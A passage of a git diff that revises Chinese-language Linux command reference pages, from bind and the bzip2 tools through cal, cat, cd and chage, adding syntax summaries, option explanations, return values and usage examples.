16aa0692101..8a431ed9cb8 100644 --- a/command/bind.md +++ b/command/bind.md @@ -7,13 +7,13 @@ bind **bind命令** 用于显示和设置命令行的键盘序列绑定功能。通过这一命令,可以提高命令行中操作效率。您可以利用bind命令了解有哪些按键组合与其功能,也可以自行指定要用哪些按键组合。 -### 语法 +### 语法 ```shell bind(选项) ``` -### 选项 +### 选项 ```shell -d:显示按键配置的内容; @@ -24,7 +24,7 @@ bind(选项) -v:列出目前的按键配置与其功能。 ``` -### 实例 +### 实例 ```shell bind -x '"\C-l":ls -l' #直接按 CTRL+L 就列出目录 @@ -33,7 +33,7 @@ bind -x '"\C-l":ls -l' #直接按 CTRL+L 就列出目录 其中keyseq可以使用`showkey -a`命令来获取: ```shell -[root@localhost ~]# showkey -a +showkey -a Press any keys - Ctrl-D will terminate this program @@ -56,4 +56,3 @@ Press any keys - Ctrl-D will terminate this program ``` - \ No newline at end of file diff --git a/command/blkid.md b/command/blkid.md index d64c5c81f87..be112b5962a 100644 --- a/command/blkid.md +++ b/command/blkid.md @@ -7,7 +7,7 @@ blkid 在Linux下可以使用 **blkid命令** 对查询设备上所采用文件系统类型进行查询。blkid主要用来对系统的块设备(包括交换分区)所使用的文件系统类型、LABEL、UUID等信息进行查询。要使用这个命令必须安装e2fsprogs软件包。 -### 语法 +### 语法 ```shell blkid -L | -U @@ -16,7 +16,7 @@ blkid -p [-s ] [-O ] [-S ][-o] ... blkid -i [-s ] [-o] ... ``` -### 选项 +### 选项 ```shell -c # 指定cache文件(default: /etc/blkid.tab, /dev/null = none) @@ -42,7 +42,7 @@ Low-level probing options: -n # filter by filesystem type (e.g. -n vfat,ext3) ``` -### 实例 +### 实例 1、列出当前系统中所有已挂载文件系统的类型: @@ -93,4 +93,3 @@ sudo blkid -o list ``` - \ No newline at end of file diff --git a/command/blockdev.md b/command/blockdev.md index 7560baeacd3..236bfe78a92 100644 --- a/command/blockdev.md +++ b/command/blockdev.md @@ -7,7 +7,7 @@ blockdev **blockdev命令** 在命令调用“ioxtls”函数,以实现对设备的控制。 -### 语法 +### 语法 ```shell blockdev(选项)(参数) @@ -27,11 +27,11 @@ blockdev(选项)(参数) --rereadpt:重新读取分区表。 ``` -### 参数 +### 参数 设备文件名:指定要操作的磁盘的设备文件名。 -### 实例 +### 实例 设置设备为只读: @@ -52,4 +52,3 @@ blockdev --setrw /dev/hda4 ``` - \ No newline at end of file diff --git a/command/break.md b/command/break.md new file mode 100644 index 00000000000..6e9bec42764 --- /dev/null +++ b/command/break.md @@ -0,0 +1,65 @@ +break +=== + +结束for,while或until循环。 + +## 概要 + +```shell +break [n] +``` + +## 主要用途 + +- 结束for,while或until循环,可指定退出几层循环。 + + +## 参数 + +n(可选):大于等于1的整数,用于指定退出几层循环。 + +## 返回值 + +返回成功除非n小于1。 + +## 例子 + +```shell +# break的可选参数n缺省值为1。 +# 从外层for循环继续执行。 +for((i=3;i>0;i--)); do + for((j=3;j>0;j--)); do + if((j==2)); then + # 换成break 1时结果一样 + break + fi + printf "%s %s\n" ${i} ${j} + done +done +# 输出结果 +3 3 +2 3 +1 3 +``` + +```shell +# 当n为2时: +# 退出两层循环,结束。 +for((i=3;i>0;i--)); do + for((j=3;j>0;j--)); do + if((j==2)); then + break 2 + fi + printf "%s %s\n" ${i} ${j} + done +done +# 输出结果 +3 3 +``` + +### 注意 + +1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 + + + diff --git a/command/builtin.md b/command/builtin.md index 065c977cb36..a1a9cc0518b 100644 --- a/command/builtin.md +++ b/command/builtin.md @@ -1,28 +1,56 @@ builtin === -执行shell内部命令 +执行bash内建命令。 -## 补充说明 - -**builtin命令** 用于执行指定的shell内部命令,并返回内部命令的返回值。builtin命令在使用时,将不能够再使用Linux中的外部命令。当系统中定义了与shell内部命令相同的函数时,使用builtin显式地执行shell内部命令,从而忽略定义的shell函数。 - -### 语法 +## 概要 ```shell -builtin(参数) +builtin [shell-builtin [arg ...]] ``` -### 参数 +## 主要用途 + +- 用于执行指定的bash内建命令。 +- `builtin`命令调用的bash内建命令优先于同名的外部命令及同名的shell函数。 + +## 参数 + +shell-builtin(可选):要调用的bash内建命令。 + +arg(可选):传递给bash内建命令的一到多个参数。 + +## 返回值 -shell内部命令:指定需要执行的shell内部命令。 +返回该内建命令执行的返回值,除非传递的不是bash内建命令或该内建命令被禁用。 -### 实例 +## 例子 -使用builtin命令执行shell内部命alias显示命令别名,输入如下命令: +同名情况下的优先级顺序: + +builtin 内建命令 > 函数 > 内建命令 > 外部命令 + +```shell +# 关于外部命令优先级最高的情况请参考enable命令。 +# 此时内建命令优先使用 +echo "the Great Wall" +# 调用内建命令type,返回命令的类型(builtin) +type -t echo +# 定义 echo 函数 +echo(){ + printf "123\n" +} +# 此时同名函数优先使用,显示(123) +echo +# 调用内建命令type,返回命令的类型(function) +type -t echo +# 此时内建命令优先使用 +builtin echo -e "backslash \\" +``` ```shell -builtin alias # 执行shell内部指令 +# 执行shell内部指令,输出当前系统下的命令别名 +builtin alias alias cp='cp -i' alias l.='ls -d .* --color=tty' alias ll='ls -l --color=tty' @@ -32,7 +60,11 @@ alias rm='rm -i' alias which='alias | /usr/bin/which --tty-only --read-alias --show-dot --show-tilde' ``` -上面的命令执行后,将输出当前系统下的命令别名。 +### 注意 + +1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 + +2. 如果要调用的内建命令被禁用了(包括`builtin`),那么执行会报错;关于禁用和启用内建命令请参考`enable`命令。 + - \ No newline at end of file diff --git a/command/bunzip2.md b/command/bunzip2.md index 7529e006f3a..af76e5303a0 100644 --- a/command/bunzip2.md +++ b/command/bunzip2.md @@ -1,19 +1,19 @@ bunzip2 === -创一个bz2文件压缩包 +可解压缩.bz2格式的压缩文件。 ## 补充说明 -**bunzip2命令** 解压缩由bzip2指令创建的”.bz2"压缩包。对文件进行压缩与解压缩。此命令类似于“gzip/gunzip”命令,只能对文件进行压缩。对于目录只能压缩目录下的所有文件,压缩完成后,在目录下生成以“.bz2”为后缀的压缩包。bunzip2其实是bzip2的符号链接,即软链接,因此压缩解压都可以通过bzip2实现。 +bzip2可以对文件进行压缩与解压缩。此命令类似于“gzip/gunzip”命令,只能对文件进行压缩。对于目录只能压缩目录下的所有文件,压缩完成后,在目录下生成以“.bz2”为后缀的压缩包。**bunzip2其实是bzip2的符号链接**,即软链接,因此解压都可以通过bzip2 -d实现。 -### 语法 +### 语法 ```shell bunzip2(选项)(参数) ``` -### 选项 +### 选项 ```shell -f或--force:解压缩时,若输出的文件与现有文件同名时,预设不会覆盖现有的文件; @@ -23,11 +23,11 @@ bunzip2(选项)(参数) -l,--license,-V或——version:显示版本信息。 ``` -### 参数 +### 参数 .bz2压缩包:指定需要解压缩的.bz2压缩包。 -### 实例 +### 实例 将`/opt`目录下的etc.zip、var.zip和backup.zip进行压缩,设置压缩率为最高,同时在压缩完毕后不删除原始文件,显示压缩过程的详细信息。 @@ -37,5 +37,11 @@ bzip2 -9vk /opt/etc.zip /opt/var.zip /opt/backup.zip 压缩完毕后,在`/opt`下就会生成相应的etc.zip.bz2、var.zip.bz2和backup.zip.bz2文件。 +解压缩: + + +```bash +bunzip2 -v /opt/etc.zip.bz2 +``` + - \ No newline at end of file diff --git a/command/bye.md b/command/bye.md index 036aa9252fe..f28fc9d6d4f 100644 --- a/command/bye.md +++ b/command/bye.md @@ -1,14 +1,14 @@ bye === -命令用于中断FTP连线并结束程序。。 +命令用于中断FTP连线并结束程序 ## 补充说明 **bye命令** 在ftp模式下,输入bye即可中断目前的连线作业,并结束ftp的执行。 -### 语法 +### 语法 ```shell bye diff --git a/command/bzcat.md b/command/bzcat.md index 43095c8051d..010d23d1f20 100644 --- a/command/bzcat.md +++ b/command/bzcat.md @@ -1,23 +1,23 @@ bzcat === -解压缩指定的.bz2文件 +不解压,直接查看指定的.bz2文件 ## 补充说明 -**bzcat命令** 解压缩指定的.bz2文件,并显示解压缩后的文件内容。保留原压缩文件,并且不生成解压缩后的文件。 +**bzcat命令** 无需解压缩指定的.bz2文件,即可显示解压缩后的文件内容。 -### 语法 +### 语法 ```shell bzcat(参数) ``` -### 参数 +### 参数 .bz2压缩文件:指定要显示内容的.bz2压缩文件。 -### 实例 +### 实例 将`/tmp/man.config`以bzip2格式压缩: @@ -36,4 +36,3 @@ bzcat man.config.bz2 此时屏幕上会显示 man.config.bz2 解压缩之后的文件内容。 - \ No newline at end of file diff --git a/command/bzcmp.md b/command/bzcmp.md index b5523b0f0d8..664e3027593 100644 --- a/command/bzcmp.md +++ b/command/bzcmp.md @@ -7,16 +7,15 @@ bzcmp **bzcmp命令** 主要功能是在不真正解压缩.bz2压缩包的情况下,比较两个压缩包中的文件,省去了解压缩后在调用cmp命令的过程。 -### 语法 +### 语法 ```shell bzcmp(参数) ``` -### 参数 +### 参数 * 文件1:指定要比较的第一个.bz2压缩包; * 文件2:指定要比较的第二个.bz2压缩包。 - \ No newline at end of file diff --git a/command/bzdiff.md b/command/bzdiff.md index ebe581f0217..93d33f9c9b1 100644 --- a/command/bzdiff.md +++ b/command/bzdiff.md @@ -7,16 +7,15 @@ bzdiff **bzdiff命令** 用于直接比较两个“.bz2”压缩包中文件的不同,省去了解压缩后再调用diff命令的过程。 -### 语法 +### 语法 ```shell bzdiff(参数) ``` -### 参数 +### 参数 * 文件1:指定要比较的第一个.bz2压缩包; * 文件2:指定要比较的第二个.bz2压缩包。 - \ No newline at end of file diff --git a/command/bzgrep.md b/command/bzgrep.md index 59bf889fc27..7b9a2a762bb 100644 --- a/command/bzgrep.md +++ b/command/bzgrep.md @@ -7,16 +7,15 @@ bzgrep **bzgrep命令** 使用正则表达式搜索“.bz2”压缩包中文件,将匹配的行显示到标注输出。 -### 语法 +### 语法 ```shell bzgrep(参数) ``` -### 参数 +### 参数 * 搜索模式:指定要搜索的模式; * .bz2文件:指定要搜索的.bz2压缩包。 - \ No newline at end of file diff --git a/command/bzip2.md b/command/bzip2.md index a9907091d3d..26fa49cd11f 100644 --- a/command/bzip2.md +++ b/command/bzip2.md @@ -5,36 +5,94 @@ bzip2 ## 补充说明 -**bzip2命令** 用于创建和管理(包括解压缩)“.bz2”格式的压缩包。我们遇见Linux压缩打包方法有很多种,以下讲解了Linux压缩打包方法中的Linux bzip2命令的多种范例供大家查看,相信大家看完后会有很多收获。 +**bzip2命令** 用于创建和管理(包括解压缩)“.bz2”格式的压缩包。 -### 语法 +bzip2 采用 Burrows-Wheeler 块排序文本压缩算法和 Huffman 编码方式压缩文件。 压缩率一般比基于 LZ77/LZ78 的压缩软件好得多,其性能接近 PPM 族统计类压缩软件。 + +命令行参数有意设计为非常接近 GNU gzip 的形式,但也不完全相同。 + +bzip2 从命令行读入文件名和参数。 每个文件被名为 "原始文件名.bz2" 的压缩文件替换。 每个压缩文件具有与原文件相同的修改时间、 权限, 如果可能的话,还具有相同的属主, 因此在解压缩时这些特性将正确地恢复。 在某些文件系统中, 没有权限、 属主或时间的概念, 或者对文件名的长度有严格限制, 例如 MSDOS,在这种情况下,bzip2 没有保持原文件名、 属主、 权限以及时间的机制, 从这个意义上说,bzip2 对文件名的处理是幼稚的。 + +bzip2 和 bunzip2 在缺省情况下不覆盖已有的文件。 如果想覆盖已有的文件,要指定 -f 选项。 + +如果未指定文件名, bzip2 将压缩来自标准输入的数据并写往标准输出。在这种情况下, bzip2 会拒绝将压缩结果写往终端,因为这完全无法理解并且是没有意义的。 + +bunzip2 (以及 bzip2 -d) 对所有指定的文件进行解压缩处理。不是由 bzip2 产生的文件将被忽略,同时发出一个警告信息。 bzip2 按下列方式由压缩文件名确定解压后的文件名: ```shell -bzip2(选项)(参数) +filename.bz2 解压成 filename +filename.bz 解压成 filename +filename.tbz2 解压成 filename.tar +filename.tbz 解压成 filename.tar +anyothername 解压成 anyothername.out ``` -### 选项 +如果文件名的后缀不是下列之一: .bz2, .bz, .tbz2 或 .tbz, .bzip2 将抱怨无法确定原始文件名,并采用原文件名加 .out 作为解压缩文件名。 + +在压缩时,如果不提供文件名,bzip2 将从标准输入读取数据,压缩结果写往标准输出。 + +bzip2 采用 32 位 CRC 校验码作自我检查,以确认解压后的文件与原始文件相同。 这可用于检测压缩文件是否损坏,并防止 bzip2 中未知的缺陷(运气好的话这种可能性非常小)。 数据损坏而未检测到的几率非常之小, 对于每个被处理的文件大约是四十亿分之一。 检查是在解压缩时进行的,因此它只能说明某个地方出问题了。 它能帮助恢复原始未压缩的数据。可以用 bzip2recover 来尝试从损坏的文件中恢复数据。 + +返回值:正常退出返回 0, 出现环境问题返回 1 (文件未找到,非法的选项,I/O错误等), 返回 2 表明压缩文件损坏,出现导致 bzip2 紧急退出的内部一致性错误(例如缺陷)时返回 3。 + +### 语法 ```shell --c或——stdout:将压缩与解压缩的结果送到标准输出; --d或——decompress:执行解压缩; --f或-force:bzip2在压缩或解压缩时,若输出文件与现有文件同名,预设不会覆盖现有文件。若要覆盖。请使用此参数; --h或——help:在线帮助; --k或——keep:bzip2在压缩或解压缩后,会删除原始文件。若要保留原始文件,请使用此参数; --s或——small:降低程序执行时内存的使用量; --t或——test:测试.bz2压缩文件的完整性; --v或——verbose:压缩或解压缩文件时,显示详细的信息; --z或——compress:强制执行压缩; --V或——version:显示版本信息; ---repetitive-best:若文件中有重复出现的资料时,可利用此参数提高压缩效果; ---repetitive-fast:若文件中有重复出现的资料时,可利用此参数加快执行效果。 +bzip2 [ -cdfkqstvzVL123456789 ] [ filenames ... ] ``` -### 参数 +### 选项 + +```shell +-c --stdout + # 将数据压缩或解压缩至标准输出。 + +-d --decompress + # 强制解压缩。 bzip2, bunzip2 以及 bzcat 实际上是同一个程序,进行何种操作将根据程序名确定。 指定该选项后将不考虑这一机制,强制 bzip2 进行解压缩。 + +-z --compress + # -d 选项的补充:强制进行压缩操作,而不管执行的是哪个程序。 + +-t --test + # 检查指定文件的完整性,但并不对其解压缩。 实际上将对数据进行实验性的解压缩操作,而不输出结果。 + +-f --force + # 强制覆盖输出文件。通常 bzip2 不会覆盖已经存在的文件。该选项还强制 bzip2 打破文件的硬连接,缺省情况下 bzip2 不会这么做。 + +-k --keep + # 在压缩或解压缩时保留输入文件(不删除这些文件)。 + +-s --small + # 在压缩、解压缩及检查时减少内存用量。采用一种修正的算法进行压缩和测试,每个数据块仅需要 2.5 个字节。这意味着任何文件都可以在 2300k + # 的内存中进行解压缩, 尽管速度只有通常情况下的一半。 + + # 在压缩时,-s将选定 200k 的块长度,内存用量也限制在 200k 左右, 代价是压缩率会降低。 总之,如果机器的内存较少(8兆字节或更少), + # 可对所有操作都采用-s选项。参见下面的内存管理。 + +-q --quiet + # 压制不重要的警告信息。属于 I/O 错误及其它严重事件的信息将不会被压制。 + +-v --verbose + # 详尽模式 -- 显示每个被处理文件的压缩率。 命令行中更多的 -v 选项将增加详细的程度, 使 bzip2 显示出许多主要用于诊断目的信息。 + +-L --license -V --version + # 显示软件版本,许可证条款及条件。 + +-1 to -9 + # 在压缩时将块长度设为 100 k、200 k .. 900 k。 对解压缩没有影响。参见下面的内存管理。 + +-- # 将所有后面的命令行变量看作文件名,即使这些变量以减号"-"打头。 可用这一选项处理以减号"-"打头的文件名, 例如:bzip2 -- -myfilename. + +--repetitive-fast --repetitive-best + # 这些选项在 0.9.5 及其以上版本中是多余的。 在较早的版本中,这两个选项对排序算法的行为提供了一些粗糙的控制,有些情况下很有用。 0.9.5 + # 及其以上版本采用了改进的算法而与这些选项无关。 +``` + +### 参数 文件:指定要压缩的文件。 -### 实例 +### 实例 **压缩指定文件filename:** @@ -125,4 +183,4 @@ bzip2 -- -myfilename 这里主要是为了防止文件名中`-`产生以为是选项的歧义。 - \ No newline at end of file + diff --git a/command/bzip2recover.md b/command/bzip2recover.md index bd2bc8193ef..bf8d6f9a6d3 100644 --- a/command/bzip2recover.md +++ b/command/bzip2recover.md @@ -9,15 +9,14 @@ bzip2recover bzip2是以区块的方式来压缩文件,每个区块视为独立的单位。因此,当某一区块损坏时,便可利用bzip2recover,试着将文件中的区块隔开来,以便解压缩正常的区块。通常只适用在压缩文件很大的情况。 -### 语法 +### 语法 ```shell bzip2recover(参数) ``` -### 参数 +### 参数 文件:指定要恢复数据的.bz2压缩包。 - \ No newline at end of file diff --git a/command/bzless.md b/command/bzless.md index 92d102ca902..af790362764 100644 --- a/command/bzless.md +++ b/command/bzless.md @@ -7,15 +7,14 @@ bzless **bzless命令** 是增强“.bz2”压缩包查看器,bzless比bzmore命令功能更加强大。 -### 语法 +### 语法 ```shell bzless(参数) ``` -### 参数 +### 参数 文件:指定要分屏显示的.bz2压缩包。 - \ No newline at end of file diff --git a/command/bzmore.md b/command/bzmore.md index 1b4476c1419..f160e620f22 100644 --- a/command/bzmore.md +++ b/command/bzmore.md @@ -7,15 +7,14 @@ bzmore **bzmore命令** 用于查看bzip2压缩过的文本文件的内容,当下一屏显示不下时可以实现分屏显示。 -### 语法 +### 语法 ```shell bzmore(参数) ``` -### 参数 +### 参数 文件:指定要分屏显示的.bz2压缩包。 - \ No newline at end of file diff --git a/command/cal.md b/command/cal.md index 6a3a78128ca..0a82f254bf6 100644 --- a/command/cal.md +++ b/command/cal.md @@ -5,33 +5,41 @@ cal ## 补充说明 -**cal命令** 用于显示当前日历,或者指定日期的日历。 +**cal命令** 用于显示当前日历,或者指定日期的日历,如果没有指定参数,则显示当前月份。 -### 语法 +一个单一的参数指定要显示的年份 (1 - 9999) ; 注意年份必须被完全地指定: cal 89 不会 显示1989年的日历. 两个参数表示月份 (1 - 12) 和年份. 如果没有指定参数, +则显示当前月份的日历. + +一年从Jan 1 (1 月 1 日) 开始. + +格里高利历法改革(Gregorian Reformation)被认为发生于 1752 年 9 月 3 日. 在此之前, 多数国家已经认可这项改革(尽管有一些直到 20 世纪初才认可它). 那天之后的 10 +天在这项改革被略去了, 所以那个月的日历有点不太寻常. + +### 语法 ```shell -cal(选项)(参数) +cal [ -mjy ] [ 月份 ] [ 年份 ] ``` -### 选项 +### 选项 ```shell --l:显示单月输出; --3:显示临近三个月的日历; --s:将星期日作为月的第一天; --m:将星期一作为月的第一天; --j:显示“julian”日期; --y:显示当前年的日历。 +-l # 显示单月输出; +-3 # 显示临近三个月的日历; +-s # 将星期日作为月的第一天; +-m # 显示星期一作为一周的第一天.. (缺省为星期日.) +-j # 显示儒略历的(Julian)日期 (以 1 为基的天数, 从 1 月 1 日开始计数) . +-y # 显示当前年份的日历.. ``` -### 参数 +### 参数 ```shell 月:指定月份; 年:指定年份。 ``` -### 实例 +### 实例 单独执行cal命令会打印出日历: @@ -59,14 +67,16 @@ cal(选项)(参数) ```shell [root@localhost ~]# cal -3 - 十一月 2013 十二月 2013 一月 2014 -日 一 二 三 四 五 六 日 一 二 三 四 五 六 日 一 二 三 四 五 六 - 1 2 1 2 3 4 5 6 7 1 2 3 4 - 3 4 5 6 7 8 9 8 9 10 11 12 13 14 5 6 7 8 9 10 11 -10 11 12 13 14 15 16 15 16 17 18 19 20 21 12 13 14 15 16 17 18 -17 18 19 20 21 22 23 22 23 24 25 26 27 28 19 20 21 22 23 24 25 -24 25 26 27 28 29 30 29 30 31 26 27 28 29 30 31 + + 九月 2021 十月 2021 十一月 2021 +日 一 二 三 四 五 六 日 一 二 三 四 五 六 日 一 二 三 四 五 六 + 1 2 3 4 1 2 1 2 3 4 5 6 + 5 6 7 8 9 10 11 3 4 5 6 7 8 9 7 8 9 10 11 12 13 +12 13 14 15 16 17 18 10 11 12 13 14 15 16 14 15 16 17 18 19 20 +19 20 21 22 23 24 25 17 18 19 20 21 22 23 21 22 23 24 25 26 27 +26 27 28 29 30 24 25 26 27 28 29 30 28 29 30 + 31 ``` - \ No newline at end of file + diff --git a/command/cancel.md b/command/cancel.md index f42343a01fa..209999a88f1 100644 --- a/command/cancel.md +++ b/command/cancel.md @@ -7,13 +7,13 @@ cancel **cancel命令** 用于取消已存在的打印任务。 -### 语法 +### 语法 ```shell cancel(选项)(参数) ``` -### 选项 +### 选项 ```shell -a:取消所有打印任务; @@ -23,9 +23,8 @@ cancel(选项)(参数) -h:指定连接的服务器名和端口号。 ``` -### 参数 +### 参数 打印任务号:指定要取消的打印任务编号。 - \ No newline at end of file diff --git a/command/cat.md b/command/cat.md index 1dd6f1d5dad..2190c5c04b2 100644 --- a/command/cat.md +++ b/command/cat.md @@ -1,44 +1,73 @@ cat === -连接文件并打印到标准输出设备上 +连接多个文件并打印到标准输出。 -## 补充说明 +## 概要 -**cat命令** 连接文件并打印到标准输出设备上,cat经常用来显示文件的内容,类似于下的type命令。 +```shell +cat [OPTION]... [FILE]... +``` -注意:当文件较大时,文本在屏幕上迅速闪过(滚屏),用户往往看不清所显示的内容。因此,一般用more等命令分屏显示。为了控制滚屏,可以按Ctrl+S键,停止滚屏;按Ctrl+Q键可以恢复滚屏。按Ctrl+C(中断)键可以终止该命令的执行,并且返回Shell提示符状态。 +## 主要用途 -### 语法 +- 显示文件内容,如果没有文件或文件为`-`则读取标准输入。 +- 将多个文件的内容进行连接并打印到标准输出。 +- 显示文件内容中的不可见字符(控制字符、换行符、制表符等)。 -```shell -cat(选项)(参数) -``` +## 参数 + +FILE(可选):要处理的文件,可以为一或多个。 -### 选项 +## 选项 ```shell --n或--number:从1开始对所有输出的行数编号; --b或--number-nonblank:和-n相似,只不过对于空白行不编号; --s或--squeeze-blank:当遇到有连续两行以上的空白行,就代换为一行的空白行; --A:显示不可打印字符,行尾显示“$”; --e:等价于"-vE"选项; --t:等价于"-vT"选项; -``` +长选项与短选项等价 -### 参数 +-A, --show-all 等价于"-vET"组合选项。 +-b, --number-nonblank 只对非空行编号,从1开始编号,覆盖"-n"选项。 +-e 等价于"-vE"组合选项。 +-E, --show-ends 在每行的结尾显示'$'字符。 +-n, --number 对所有行编号,从1开始编号。 +-s, --squeeze-blank 压缩连续的空行到一行。 +-t 等价于"-vT"组合选项。 +-T, --show-tabs 使用"^I"表示TAB(制表符)。 +-u POSIX兼容性选项,无意义。 +-v, --show-nonprinting 使用"^"和"M-"符号显示控制字符,除了LFD(line feed,即换行符'\n')和TAB(制表符)。 -文件列表:指定要连接的文件列表。 +--help 显示帮助信息并退出。 +--version 显示版本信息并退出。 +``` + +## 返回值 -### 实例 +返回状态为成功除非给出了非法选项或非法参数。 -设m1和m2是当前目录下的两个文件 +## 例子 ```shell -cat m1 (在屏幕上显示文件m1的内容) -cat m1 m2 (同时显示文件m1和m2的内容) -cat m1 m2 > file (将文件m1和m2合并后放入文件file中) +# 合并显示多个文件 +cat ./1.log ./2.log ./3.log +# 显示文件中的非打印字符、tab、换行符 +cat -A test.log +# 压缩文件的空行 +cat -s test.log +# 显示文件并在所有行开头附加行号 +cat -n test.log +# 显示文件并在所有非空行开头附加行号 +cat -b test.log +# 将标准输入的内容和文件内容一并显示 +echo '######' |cat - test.log ``` +### 注意 + +1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 cat`或`info coreutils 'cat invocation'`。 +2. 当使用`cat`命令查看**体积较大的文件**时,文本在屏幕上迅速闪过(滚屏),用户往往看不清所显示的内容,为了控制滚屏,可以按`Ctrl+s`键停止滚屏;按`Ctrl+q`键恢复滚屏;按`Ctrl+c`(中断)键可以终止该命令的执行,返回Shell提示符状态。 +3. 建议您查看**体积较大的文件**时使用`less`、`more`命令或`emacs`、`vi`等文本编辑器。 + +### 参考链接 + +1. [Question about LFD key](https://superuser.com/questions/328054/is-there-an-lfd-key-on-my-keyboard) + - diff --git a/command/cd.md b/command/cd.md index d2fe50e249c..0f2255cf632 100644 --- a/command/cd.md +++ b/command/cd.md @@ -1,36 +1,91 @@ cd === -切换用户当前工作目录 +切换用户当前工作目录。 -## 补充说明 - -**cd命令** 用来切换工作目录至dirname。 其中dirName表示法可为绝对路径或相对路径。若目录名称省略,则变换至使用者的home directory(也就是刚login时所在的目录)。另外,`~`也表示为home directory的意思,`.`则是表示目前所在的目录,`..`则表示目前目录位置的上一层目录。 - -### 语法 +## 概要 ```shell -cd (选项) (参数) +cd [-L|[-P [-e]]] [dir] ``` -### 选项 +## 主要用途 + +- 切换工作目录至`dir`。其中`dir`的表示法可以是绝对路径或相对路径。 +- 若参数`dir`省略,则默认为使用者的shell变量`HOME`。 +- 如果`dir`指定为`~`时表示为使用者的shell变量`HOME`,`.`表示当前目录,`..`表示当前目录的上一级目录。 +- 环境变量`CDPATH`是由冒号分割的一到多个目录,你可以将常去的目录的上一级加入到`CDPATH`以便方便访问它们;如果`dir`以`/`开头那么`CDPATH`不会被使用。 +- 当`shopt`选项`cdable_vars`打开时,如果`dir`在`CDPATH`及当前目录下均不存在,那么会把它当作变量,读取它的值作为要进入的目录。 + +## 参数 + +dir(可选):指定要切换到的目录。 + +## 选项 ```shell --p 如果要切换到的目标目录是一个符号连接,直接切换到符号连接指向的目标目录 --L 如果要切换的目标目录是一个符号的连接,直接切换到字符连接名代表的目录,而非符号连接所指向的目标目录。 -- 当仅实用"-"一个选项时,当前工作目录将被切换到环境变量"OLDPWD"所表示的目录。 +-L (默认值)如果要切换到的目标目录是一个符号连接,那么切换到符号连接的目录。 +-P 如果要切换到的目标目录是一个符号连接,那么切换到它指向的物理位置目录。 +- 当前工作目录将被切换到环境变量OLDPWD所表示的目录,也就是前一个工作目录。 ``` -### 实例 +## 返回值 + +返回状态为成功除非无法进入指定的目录。 + +## 例子 ```shell cd # 进入用户主目录; +cd / # 进入根目录 cd ~ # 进入用户主目录; -cd - # 返回进入此目录之前所在的目录; cd .. # 返回上级目录(若当前目录为“/“,则执行完后还在“/";".."为上级目录的意思); cd ../.. # 返回上两级目录; cd !$ # 把上个命令的参数作为cd参数使用。 ``` +关于切换到上一个工作目录的说明 + +```shell +cd - +# 命令会首先显示要切换到的目标目录,然后再进入。 +cd ${OLDPWD} +# 命令会直接切换到上一个工作目录。 +``` + +关于`CDPATH` + +```shell +# 设置桌面文件夹作为CDPATH的值。 +CDPATH='~/Desktop' +# 假设我们接下来要演示涉及到的路径~和~/Desktop下没有test3文件夹,现在新建它们。 +mkdir ~/test3 +mkdir ~/Desktop/test3 +# 进入~目录。 +cd ~ +# 进入test3目录。 +cd test3 +# 执行后显示~/Desktop/test3并进入该目录,而不是~目录的test3目录。 +# 如果CDPATH存在值,那么优先在CDPATH中查找并进入第一个匹配成功的,如果全部失败那么最后尝试当前目录。 +``` + +关于`cdable_vars` + +```shell +# 打开选项。 +shopt -s cdable_vars +# 假设当前路径以及CDPATH没有名为new_var的目录。 +new_var='~/Desktop' +# 尝试进入。 +cd new_var +# 关闭选项。 +shopt -u cdable_vars +``` + +### 注意 + +1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 + +2. 建议您在编写脚本的过程中如有必要使用`cd`命令时,请增加必要的注释以用于提醒阅读者当前工作目录,以免出现诸如`找不到文件`这类问题的发生。 + - \ No newline at end of file diff --git a/command/cdrecord.md b/command/cdrecord.md index 344e66e6766..49d7c0b9ff0 100644 --- a/command/cdrecord.md +++ b/command/cdrecord.md @@ -7,13 +7,13 @@ Linux系统下光盘刻录功能命令 **cdrecord命令** 用于Linux系统下光盘刻录,它支持cd和DVD格式。linux下一般都带有cdrecord软件。 -### 语法 +### 语法 ```shell cdrecord(选项)(参数) ``` -### 选项 +### 选项 ```shell -v:显示刻录光盘的详细过程; @@ -23,11 +23,11 @@ dev=<刻录机设备号>:指定使用“-scanbus”参数扫描到的刻录机 -scanbus:扫描系统中可用的刻录机。 ``` -### 参数 +### 参数 ISO文件:指定刻录光盘使用的ISO映像文件。 -### 实例 +### 实例 查看系统所有 CD-R(w) 设备: @@ -59,4 +59,3 @@ cdrecord --dev=0,3,0 --blank=fast ``` - \ No newline at end of file diff --git a/command/chage.md b/command/chage.md index 578b5afdd18..ab6eaa67fbd 100644 --- a/command/chage.md +++ b/command/chage.md @@ -7,13 +7,13 @@ chage **chage命令** 是用来修改帐号和密码的有效期限。 -### 语法 +### 语法 ```shell chage [选项] 用户名 ``` -### 选项 +### 选项 ```shell -m:密码可更改的最小天数。为零时代表任何时候都可以更改密码。 @@ -21,11 +21,11 @@ chage [选项] 用户名 -w:用户密码到期前,提前收到警告信息的天数。 -E:帐号到期的日期。过了这天,此帐号将不可用。 -d:上一次更改的日期。 --i:停滞时期。如果一个密码已过期这些天,那么此帐号将不可用。 +-I:停滞时期。如果一个密码已过期这些天,那么此帐号将不可用。 -l:例出当前的设置。由非特权用户来确定他们的密码或帐号何时过期。 ``` -### 实例 +### 实例 可以编辑`/etc/login.defs`来设定几个参数,以后设置口令默认就按照参数设定为准: @@ -54,45 +54,47 @@ CREATE_MAIL_SPOOL=yes 我的服务器root帐户密码策略信息如下: ```shell -[root@linuxde ~]# chage -l root -最近一次密码修改时间 : 3月 12, 2013 -密码过期时间 :从不 -密码失效时间 :从不 -帐户过期时间 :从不 +chage -l root + +最近一次密码修改时间 : 3月 12, 2013 +密码过期时间 :从不 +密码失效时间 :从不 +帐户过期时间 :从不 两次改变密码之间相距的最小天数 :0 两次改变密码之间相距的最大天数 :99999 -在密码过期之前警告的天数 :7 +在密码过期之前警告的天数 :7 ``` 我可以通过如下命令修改我的密码过期时间: ```shell -[root@linuxde ~]# chage -M 60 root -[root@linuxde ~]# chage -l root -最近一次密码修改时间 : 3月 12, 2013 -密码过期时间 : 5月 11, 2013 -密码失效时间 :从不 -帐户过期时间 :从不 +chage -M 60 root +chage -l root + +最近一次密码修改时间 : 3月 12, 2013 +密码过期时间 : 5月 11, 2013 +密码失效时间 :从不 +帐户过期时间 :从不 两次改变密码之间相距的最小天数 :0 两次改变密码之间相距的最大天数 :60 -在密码过期之前警告的天数 :9 +在密码过期之前警告的天数 :9 ``` 然后通过如下命令设置密码失效时间: ```shell 